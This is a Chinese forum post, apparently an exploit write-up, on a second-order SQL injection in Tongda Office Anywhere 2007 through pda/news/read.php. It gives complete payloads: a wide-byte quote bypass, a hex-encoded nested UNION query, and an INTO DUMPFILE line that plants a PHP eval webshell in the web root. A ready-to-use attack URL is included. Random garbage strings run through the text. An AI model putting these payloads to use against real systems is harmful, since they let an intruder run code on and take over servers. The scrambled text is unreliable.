目前测试通达OA2007版本: V! {9 Z7 ]/ b$ d# S
2 D4 b4 b+ Y) [ v
! W- W( z( w& D, f/ L
Office Anywhere 2007 网络智能办公系统" ?' F) D5 a4 r
* Y2 ~3 ~1 C1 [0 L' y
http://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..0 P! g0 J) t4 Y! {+ N* c8 z
, K' A. k" p& k: y. F5 j5 v
* R6 Z' Q) I, X- r3 w, x) A这个时候看了下代码,存在注入的那个变量的语句中第3个字段,在该文件下面被另外个select语句调用了,灵光一闪,大概思路是这样的
+ ?0 e! v0 s5 ~& Y8 Q# y ) [* E/ `: M# _' t/ o& \8 } R
例如:SELECT * from USER where USER_ID='{$USERNAME}'
3 T# W0 ?7 a+ g6 i/ ^4 E其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了( |- i$ B( I( M
. p \7 Z- H, l& M这个时候我们是不是可以组合起来使用哪?/ Q( i! e7 a/ L/ V- U" ^
2 k9 {+ S0 i$ I" X7 j9 U
第一条语句开始注入,union select 1,2,3,4,5,6,7,8,9,10...,比如第3个是PROVIDER字段,我们这样
; m! t/ r% y4 i" H* wunion select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10% G5 D0 q# m8 s2 T
" h- `3 l; x* e) F$ J9 [% T
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了
3 B; ~& T+ p( }+ i3 L
- w# y# k0 ~, Q那么问题来了,单引号可以吗?当然是不可以的,^_^。。。
) G: M6 [9 p% z1 P
) | }+ |! F9 B9 q那么我们用字符串格式带入进行hex编码
6 p8 o$ r; Q/ t, f
2 p" o; B" L, t5 v%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23; b# h1 g5 ~) M1 t/ \2 t- }4 c
8 r3 {+ n" F1 |测试ok,获取oa的webshell2 `$ {$ [; |1 {! \
: R/ W& `' V6 g* L/ C- L: z+ R1 {2 f
, T8 r# a9 ]% E W' \pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%238 L( e# T/ w) @. T5 Q+ D/ |# |
直接getwebshell |